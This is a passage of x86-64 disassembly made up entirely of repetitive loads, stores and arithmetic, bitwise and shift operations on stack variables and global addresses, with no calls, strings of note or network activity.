mov byte [0x14017a0ca], al
movzx eax, byte [rsp + 0x164]
movzx ecx, byte [rsp + 0x20e]
sar eax, cl
mov byte [rsp + 0xc7], al
movzx eax, word [rsp + 0xf40]
mov word [rsp + 0x1040], ax
mov rax, qword [rsp + 0x76e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xbe]
xor eax, ecx
mov byte [rsp + 0x5c], al
mov eax, dword [rsp + 0x2acc]
mov dword [rsp + 0x31e0], eax
mov rax, qword [rsp + 0x8298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x77e8]
mov qword [rsp + 0x91a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x91a0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8af0], rax
mov rax, qword [rsp + 0x5fd0]
mov rcx, qword [0x14017a058]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8988], rax
lea rax, [rsp + 0x2fa8]
mov qword [rsp + 0x91a8], rax
mov rax, qword [rsp + 0x7bd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7cb0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x68e8]
mov byte [rcx], al
lea rax, [rsp + 0xd8]
mov qword [0x14017a930], rax
mov rax, qword [rsp + 0x7070]
movzx eax, word [rax]
mov word [rsp + 0x1044], ax
mov rax, qword [rsp + 0x5660]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x93c]
add eax, ecx
mov rcx, qword [rsp + 0x56e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6d40]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x53e8]
mov word [rcx], ax
lea rax, [rsp + 0x3088]
mov qword [rsp + 0x91b0], rax
mov rax, qword [rsp + 0x68d0]
mov rcx, qword [rsp + 0x7328]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6670], rax
lea rax, [0x140178e78]
mov qword [rsp + 0x91b8], rax
mov rax, qword [rsp + 0x7d88]
mov rcx, qword [rsp + 0x87d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8930]
mov dword [rcx], eax
lea rax, [rsp + 0xa98]
mov qword [rsp + 0x91c0], rax
movzx eax, word [rsp + 0xeac]
movzx ecx, word [0x140178f64]
add eax, ecx
mov rcx, qword [0x14017a660]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0x7668]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x248], al
movsx eax, word [rsp + 0xff8]
mov rcx, qword [rsp + 0x5868]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7120]
mov word [rcx], ax
lea rax, [rsp + 0x115]
mov qword [rsp + 0x91c8], rax
movsx eax, word [rsp + 0xad0]
movsx ecx, word [rsp + 0xcd4]
sub eax, ecx
mov word [rsp + 0xa18], ax
mov rax, qword [rsp + 0x7800]
mov rax, qword [rax]
mov qword [rsp + 0x91d0], rax
mov eax, dword [rsp + 0x311c]
movzx ecx, al
mov eax, dword [rsp + 0x2cb4]
shl eax, cl
mov dword [rsp + 0x2de0], eax
mov eax, dword [rsp + 0x3098]
mov ecx, dword [rsp + 0x2fd8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x90f8]
mov dword [rcx], eax
lea rax, [rsp + 0x77d0]
mov qword [rsp + 0x91d8], rax
mov rax, qword [0x14017a868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f3]
sar eax, cl
mov byte [0x140178f3b], al
movzx eax, byte [rsp + 0x13c]
mov rcx, qword [rsp + 0x58b8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5520]
mov byte [rcx], al
lea rax, [rsp + 0xddc]
mov qword [rsp + 0x91e0], rax
movsx eax, byte [0x14017a051]
mov rcx, qword [rsp + 0x63a8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x208], al
movzx eax, byte [rsp + 0xa2]
mov rcx, qword [rsp + 0x7e78]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c18]
mov byte [rcx], al
mov eax, dword [rsp + 0x306c]
mov dword [rsp + 0x31e4], eax
mov rax, qword [rsp + 0x6990]
mov rcx, qword [rsp + 0x5290]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29dc], eax
mov rax, qword [rsp + 0x69b8]
mov qword [rsp + 0x91e8], rax
mov rax, qword [rsp + 0x5ba8]
mov rcx, qword [rsp + 0x74e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8c00], rax
movzx eax, word [0x140178ff4]
movzx ecx, word [rsp + 0xc50]
sub eax, ecx
mov word [0x140178f90], ax
mov rax, qword [rsp + 0x7f78]
movzx eax, word [rax]
mov word [rsp + 0x1048], ax
mov rax, qword [rsp + 0x8250]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x86d0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7e60]
mov byte [rcx], al
movsx eax, word [rsp + 0xfb4]
movsx ecx, word [rsp + 0xae8]
sub eax, ecx
mov rcx, qword [rsp + 0x6700]
mov word [rcx], ax
lea rax, [rsp + 0xecc]
mov qword [rsp + 0x91f0], rax
mov rax, qword [rsp + 0x7670]
mov rcx, qword [rsp + 0x6630]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8920], rax
mov rax, qword [rsp + 0x6328]
mov eax, dword [rax]
mov dword [rsp + 0x31e8], eax
mov rax, qword [rsp + 0x8100]
mov rcx, qword [rsp + 0x6a88]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5678], rax
mov rax, qword [rsp + 0x7158]
mov rcx, qword [rsp + 0x5290]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x30b4], eax
lea rax, [rsp + 0x265]
mov qword [0x14017a938], rax
mov rax, qword [rsp + 0x54c8]
movzx eax, word [rax]
mov word [rsp + 0x104c], ax
movsx eax, byte [rsp + 0x211]
mov rcx, qword [rsp + 0x5fa8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x93], al
lea rax, [0x140178ed0]
mov qword [rsp + 0x91f8], rax
movzx eax, byte [rsp + 0x7f]
movzx ecx, byte [rsp + 0xcb]
or eax, ecx
mov byte [rsp + 0x220], al
mov rax, qword [rsp + 0x90a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c24]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ca8]
mov dword [rcx], eax
lea rax, [rsp + 0x2b74]
mov qword [rsp + 0x9200], rax
mov rax, qword [rsp + 0x6070]
mov rcx, qword [rsp + 0x54a8]
mov qword [rsp + 0x9208], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9208]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8550], rax
lea rax, [rsp + 0x7468]
mov qword [rsp + 0x9210], rax
lea rax, [0x140178ea2]
mov qword [0x14017a940], rax
mov rax, qword [rsp + 0x8ec8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
and eax, ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x8f98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd80]
sub eax, ecx
mov rcx, qword [rsp + 0x6e18]
mov word [rcx], ax
lea rax, [0x140178f9c]
mov qword [rsp + 0x9218], rax
movsx eax, word [rsp + 0xa34]
mov rcx, qword [rsp + 0x8b78]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x87c], ax
lea rax, [rsp + 0x68d0]
mov qword [rsp + 0x9220], rax
mov eax, dword [rsp + 0x2a04]
mov ecx, dword [rsp + 0x2d3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x312c], eax
mov rax, qword [rsp + 0x8070]
mov rax, qword [rax]
mov qword [rsp + 0x9228], rax
mov rax, qword [rsp + 0x8ff0]
mov ecx, dword [rsp + 0x2ff8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5e98]
mov dword [rcx], eax
movzx eax, byte [0x140178e74]
movzx ecx, byte [rsp + 0xee]
add eax, ecx
mov byte [0x14017a197], al
mov rax, qword [rsp + 0x8128]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7c40]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x152], al
lea rax, [rsp + 0x1d2]
mov qword [rsp + 0x9230], rax
movzx eax, byte [rsp + 0xe4]
movzx ecx, byte [rsp + 0x143]
sub eax, ecx
mov rcx, qword [rsp + 0x7ce8]
mov byte [rcx], al
movzx eax, word [rsp + 0xb0c]
mov word [rsp + 0x1050], ax
mov rax, qword [rsp + 0x51f8]
mov rcx, qword [rsp + 0x70a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x69a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x53a0]
mov eax, dword [rax]
mov ecx, dword [0x140178e8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2aac], eax
mov rax, qword [rsp + 0x8288]
mov qword [rsp + 0x9238], rax
mov rax, qword [rsp + 0x4e50]
mov rcx, qword [rsp + 0x5da8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6e78], rax
lea rax, [rsp + 0xc08]
mov qword [0x14017a948], rax
mov rax, qword [rsp + 0x5818]
movzx eax, byte [rax]
mov byte [rsp + 0x26a], al
mov rax, qword [rsp + 0x6c88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x12c]
sar eax, cl
mov rcx, qword [rsp + 0x4ff8]
mov byte [rcx], al
movsx eax, word [rsp + 0x9e0]
movsx ecx, word [rsp + 0xdac]
xor eax, ecx
mov word [rsp + 0xa38], ax
lea rax, [rsp + 0xc3c]
mov qword [rsp + 0x9240], rax
mov rax, qword [rsp + 0x8648]
movzx ecx, al
mov rax, qword [rsp + 0x71d0]
shl rax, cl
mov rcx, qword [rsp + 0x5a60]
mov qword [rcx], rax
lea rax, [0x140178e8c]
mov qword [rsp + 0x9248], rax
mov rax, qword [rsp + 0x54d8]
mov rcx, qword [rsp + 0x6de0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5290]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6548]
mov qword [rsp + 0x9250], rax
movsx eax, byte [rsp + 0x136]
mov rcx, qword [rsp + 0x8a50]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178f0f], al
mov rax, qword [rsp + 0x6bf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9000]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa94], ax
mov rax, qword [rsp + 0x5780]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5980]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd54], ax
lea rax, [0x140178f68]
mov qword [rsp + 0x9258], rax
mov rax, qword [rsp + 0x7858]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x198]
sub eax, ecx
mov byte [rsp + 0xe9], al
mov rax, qword [rsp + 0x6e28]
mov eax, dword [rax]
mov dword [rsp + 0x31ec], eax
mov rax, qword [rsp + 0x8430]
mov rax, qword [rax]
mov rcx, qword [0x140178e78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5278], rax
mov eax, dword [rsp + 0x300c]
mov ecx, dword [rsp + 0x2fec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov dword [rcx], eax
lea rax, [rsp + 0x6bb0]
mov qword [rsp + 0x9260], rax
mov rax, qword [0x14017a620]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x61c0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7450]
mov word [rcx], ax
movzx eax, byte [rsp + 0x100]
mov rcx, qword [rsp + 0x8098]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178e77], al
lea rax, [rsp + 0x9fc]
mov qword [rsp + 0x9268], rax
movsx eax, byte [rsp + 0x62]
movsx ecx, byte [rsp + 0xec]
sar eax, cl
mov byte [rsp + 0x206], al
mov rax, qword [rsp + 0x90d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6268]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x104c], ax
lea rax, [rsp + 0x2a48]
mov qword [rsp + 0x9270], rax
mov rax, qword [rsp + 0x8f50]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x71f8]
mov qword [rsp + 0x9278], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9278]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2b34], eax
mov rax, qword [rsp + 0x6d78]
mov qword [rsp + 0x9280], rax
mov rax, qword [rsp + 0x5600]
mov rcx, qword [rsp + 0x6968]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x51d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6af8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xeb]
sub eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5760]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc94]
and eax, ecx
mov word [0x140179024], ax
lea rax, [rsp + 0xe48]
mov qword [rsp + 0x9288], rax
movsx eax, word [rsp + 0xde4]
mov rcx, qword [rsp + 0x8f40]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x94c], ax
lea rax, [rsp + 0x1d6]
mov qword [rsp + 0x9290], rax
mov rax, qword [rsp + 0x5d18]
mov rcx, qword [str.kD3]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8df8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8a98]
mov eax, dword [rax]
mov dword [rsp + 0x31f0], eax
mov rax, qword [rsp + 0x77c0]
mov rcx, qword [rsp + 0x73d0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5c30], rax
mov rax, qword [rsp + 0x52e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d28]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3140], eax
mov rax, qword [rsp + 0x7008]
movzx eax, word [rax]
mov word [rsp + 0x1054], ax
mov rax, qword [rsp + 0x5d30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7050]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a3d0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x98]
mov rcx, qword [0x14017a568]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x22a], al
mov rax, qword [rsp + 0x83e8]
movzx eax, word [rax]
mov word [rsp + 0x1058], ax
movzx eax, byte [rsp + 0xac]
movzx ecx, byte [rsp + 0x82]
add eax, ecx
mov byte [rsp + 0x11f], al
mov rax, qword [rsp + 0x5448]
mov rcx, qword [rsp + 0x5258]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9160]
mov qword [rcx], rax
mov rax, qword [rsp + 0x85d8]
mov eax, dword [rax]
mov dword [rsp + 0x31f4], eax
mov eax, dword [rsp + 0x2c5c]
mov rcx, qword [rsp + 0x8c78]
mov qword [rsp + 0x9298], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9298]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x64f0]
mov dword [rcx], eax
lea rax, str.kD3
mov qword [rsp + 0x92a0], rax
mov rax, qword [rsp + 0x5ba0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x50a8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc20], ax
lea rax, [rsp + 0xa98]
mov qword [0x14017a950], rax
mov rax, qword [rsp + 0x6998]
movsx eax, byte [rax]
mov rcx, qword [0x14017a748]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x104], al
lea rax, [rsp + 0x263]
mov qword [rsp + 0x92a8], rax
mov rax, qword [rsp + 0x6cb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8738]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xf5], al
movzx eax, word [rsp + 0x102c]
mov word [rsp + 0x105c], ax
mov rax, qword [rsp + 0x5018]
mov rcx, qword [rsp + 0x5738]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8ea8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2d74]
mov ecx, dword [rsp + 0x2b18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a9c], eax
lea rax, [0x140178e60]
mov qword [rsp + 0x92b0], rax
mov rax, qword [rsp + 0x5f38]
mov rcx, qword [rsp + 0x4e50]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7378], rax
movsx eax, byte [rsp + 0x1d6]
mov rcx, qword [rsp + 0x85a0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178ed2], al
mov rax, qword [rsp + 0x5208]
movzx eax, word [rax]
mov word [rsp + 0x1060], ax
mov rax, qword [rsp + 0x6f10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x76a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x25b], al
mov rax, qword [rsp + 0x8890]
movzx eax, word [rax]
mov word [rsp + 0x1064], ax
mov rax, qword [rsp + 0x8b38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7cc8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5e00]
mov word [rcx], ax
mov eax, dword [rsp + 0x2a40]
mov ecx, dword [rsp + 0x3034]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e00], eax
mov rax, qword [rsp + 0x6548]
mov qword [rsp + 0x92b8], rax
mov rax, qword [rsp + 0x7840]
mov ecx, dword [0x14017a060]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8678]
mov dword [rcx], eax
lea rax, [rsp + 0x84e8]
mov qword [rsp + 0x92c0], rax
movzx eax, byte [rsp + 0x1eb]
mov byte [0x14017a22e], al
movsx eax, word [rsp + 0xb74]
movsx ecx, word [rsp + 0xbb8]
sub eax, ecx
mov word [rsp + 0x1058], ax
mov rax, qword [rsp + 0x6a48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8990]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x234], al
lea rax, [rsp + 0x202]
mov qword [rsp + 0x92c8], rax
mov rax, qword [rsp + 0x7260]
movsx eax, byte [rax]
mov rcx, qword [0x14017a658]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5030]
mov byte [rcx], al
lea rax, [rsp + 0x2c40]
mov qword [rsp + 0x92d0], rax
mov rax, qword [rsp + 0x7358]
mov rcx, qword [rsp + 0x6308]
mov qword [rsp + 0x92d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x92d8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x90b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5420]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x89b0]
mov qword [rsp + 0x92e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x92e0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x5de8], rax
mov rax, qword [rsp + 0x7df8]
mov eax, dword [rax]
mov dword [rsp + 0x31f8], eax
mov rax, qword [rsp + 0x8db0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1008]
or eax, ecx
mov word [0x140179028], ax
mov rax, qword [rsp + 0x71f0]
movzx eax, word [rax]
movzx ecx, word [0x14017a140]
xor eax, ecx
mov word [rsp + 0xb58], ax
lea rax, [rsp + 0x1e6]
mov qword [rsp + 0x92e8], rax
movzx eax, word [rsp + 0xe14]
mov rcx, qword [rsp + 0x9110]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x59c8]
mov word [rcx], ax
lea rax, [rsp + 0x51]
mov qword [rsp + 0x92f0], rax
mov rax, qword [rsp + 0x5740]
mov rcx, qword [rsp + 0x72a8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6a10], rax
mov rax, qword [rsp + 0x50d0]
mov rcx, qword [rsp + 0x6768]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x88b8]
mov dword [rcx], eax
lea rax, [rsp + 0x2a34]
mov qword [rsp + 0x92f8], rax
mov rax, qword [rsp + 0x5c40]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8800], rax
mov rax, qword [rsp + 0x76c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x954]
sub eax, ecx
mov rcx, qword [0x14017a430]
mov word [rcx], ax
movzx eax, byte [0x14017a0ca]
mov byte [rsp + 0x26b], al
movzx eax, byte [rsp + 0x1ae]
movzx ecx, byte [rsp + 0x222]
add eax, ecx
mov rcx, qword [rsp + 0x5f90]
mov byte [rcx], al
mov rax, qword [rsp + 0x7398]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa38]
sub eax, ecx
mov rcx, qword [rsp + 0x7128]
mov word [rcx], ax
lea rax, [rsp + 0xb2c]
mov qword [rsp + 0x9300], rax
mov rax, qword [rsp + 0x5890]
mov rcx, qword [rsp + 0x89c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8df8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2d08]
mov dword [rsp + 0x31fc], eax
mov rax, qword [0x140178e60]
mov rcx, qword [rsp + 0x58d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7478], rax
mov eax, dword [rsp + 0x31a4]
mov ecx, dword [rsp + 0x2f94]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ffc], eax
lea rax, [rsp + 0x189]
mov qword [0x14017a958], rax
mov rax, qword [rsp + 0x6528]
movzx eax, word [rax]
mov word [rsp + 0x1068], ax
mov rax, qword [rsp + 0x9188]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6be8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x19f], al
mov rax, qword [rsp + 0x4c60]
movzx eax, word [rax]
mov word [rsp + 0x106c], ax
movsx eax, byte [rsp + 0x1ba]
mov rcx, qword [rsp + 0x7cb0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x237], al
mov rax, qword [rsp + 0x9098]
movzx ecx, al
mov rax, qword [rsp + 0x5268]
shl rax, cl
mov qword [rsp + 0x55a8], rax
lea rax, [rsp + 0x3028]
mov qword [rsp + 0x9308], rax
mov rax, qword [rsp + 0x62d0]
mov rcx, qword [rsp + 0x90d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6620], rax
lea rax, [rsp + 0x308c]
mov qword [rsp + 0x9310], rax
mov rax, qword [rsp + 0x7b00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x928]
add eax, ecx
mov word [0x14017a350], ax
mov rax, qword [rsp + 0x5d78]
movzx eax, word [rax]
movzx ecx, word [0x14017a5b4]
sub eax, ecx
mov word [rsp + 0x1018], ax
mov rax, qword [rsp + 0x8660]
movzx eax, byte [rax]
mov byte [rsp + 0x26c], al
mov rax, qword [rsp + 0x7120]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe3c]
sub eax, ecx
mov word [rsp + 0xad0], ax
mov rax, qword [0x14017a178]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x86d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x18d], al
mov rax, qword [rsp + 0x7eb0]
mov rax, qword [rax]
mov qword [rsp + 0x9318], rax
mov eax, dword [rsp + 0x2d9c]
mov ecx, dword [rsp + 0x2ac4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d60], eax
mov rax, qword [0x140178e60]
mov qword [rsp + 0x9320], rax
mov rax, qword [rsp + 0x88c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e88]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6728]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf0c]
movzx ecx, word [rsp + 0xb04]
add eax, ecx
mov rcx, qword [0x14017a4b8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1ff]
mov rcx, qword [rsp + 0x7518]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5d30]
mov byte [rcx], al
movzx eax, word [rsp + 0xeec]
mov word [rsp + 0x1070], ax
mov rax, qword [rsp + 0x75e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f9]
add eax, ecx
mov byte [rsp + 0x244], al
movzx eax, byte [0x14017a055]
mov byte [rsp + 0x26d], al
mov rax, qword [rsp + 0x7f00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5628]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5d38], rax
mov rax, qword [rsp + 0x88b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3018]
shr eax, cl
mov dword [rsp + 0x2c48], eax
mov rax, qword [rsp + 0x55f8]
mov rax, qword [rax]
mov qword [rsp + 0x9328], rax
mov eax, dword [rsp + 0x2e10]
movzx ecx, al
mov eax, dword [rsp + 0x2d5c]
shl eax, cl
mov dword [rsp + 0x31b4], eax
lea rax, [rsp + 0x9ac]
mov qword [rsp + 0x9330], rax
mov rax, qword [rsp + 0x7b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdd8]
xor eax, ecx
mov word [str.9_a8], ax
mov rax, qword [rsp + 0x74a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a9]
and eax, ecx
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0x6fb0]
movzx eax, byte [rax]
mov byte [rsp + 0x26e], al
movzx eax, word [0x140178f90]
mov rcx, qword [rsp + 0x52c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcfc], ax
mov rax, qword [rsp + 0x9108]
mov rcx, qword [rsp + 0x55f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8508]
mov qword [rcx], rax
lea rax, [rsp + 0x6798]
mov qword [rsp + 0x9338], rax
mov eax, dword [rsp + 0x30bc]
mov ecx, dword [rsp + 0x2fa4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7698]
mov dword [rcx], eax
lea rax, [rsp + 0x2ef4]
mov qword [rsp + 0x9340], rax
movsx eax, byte [rsp + 0xf3]
mov rcx, qword [0x14017a658]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0x57e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb98]
add eax, ecx
mov rcx, qword [0x14017a790]
mov word [rcx], ax
movzx eax, word [rsp + 0xf00]
mov rcx, qword [rsp + 0x78c8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc8c], ax
mov rax, qword [0x14017a0c0]
movzx eax, byte [rax]
mov byte [rsp + 0x26f], al
movsx eax, word [rsp + 0xefc]
mov rcx, qword [rsp + 0x67d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8290]
mov word [rcx], ax
mov rax, qword [rsp + 0x73a0]
mov rax, qword [rax]
mov qword [rsp + 0x9348], rax
mov rax, qword [0x140178e78]
mov rcx, qword [rsp + 0x8778]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7c78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5cd8]
mov rcx, qword [rsp + 0x6f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3110], eax
lea rax, [rsp + 0x2a80]
mov qword [rsp + 0x9350], rax
movzx eax, byte [rsp + 0x127]
movzx ecx, byte [rsp + 0x75]
shl eax, cl
mov byte [rsp + 0x63], al
lea rax, [rsp + 0x26b]
mov qword [0x14017a960], rax
movzx eax, byte [rsp + 0x8c]
mov byte [rsp + 0x270], al
movzx eax, byte [rsp + 0x1bd]
mov rcx, qword [rsp + 0x77a0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xf0], al
movsx eax, word [rsp + 0xff8]
movsx ecx, word [rsp + 0xf78]
sar eax, cl
mov word [rsp + 0xdc4], ax
mov eax, dword [rsp + 0x2a80]
mov dword [rsp + 0x3200], eax
mov rax, qword [rsp + 0x6950]
mov rcx, qword [rsp + 0x8ca0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x58d8], rax
mov eax, dword [rsp + 0x2a58]
mov dword [rsp + 0x3204], eax
mov rax, qword [rsp + 0x8830]
mov rcx, qword [rsp + 0x5f40]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7bf0]
mov qword [rcx], rax
lea rax, [rsp + 0xf90]
mov qword [rsp + 0x9358], rax
mov rax, qword [rsp + 0x7a68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x83f0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a728]
mov word [rcx], ax
mov rax, qword [rsp + 0x8730]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7b]
add eax, ecx
mov rcx, qword [rsp + 0x8a50]
mov byte [rcx], al
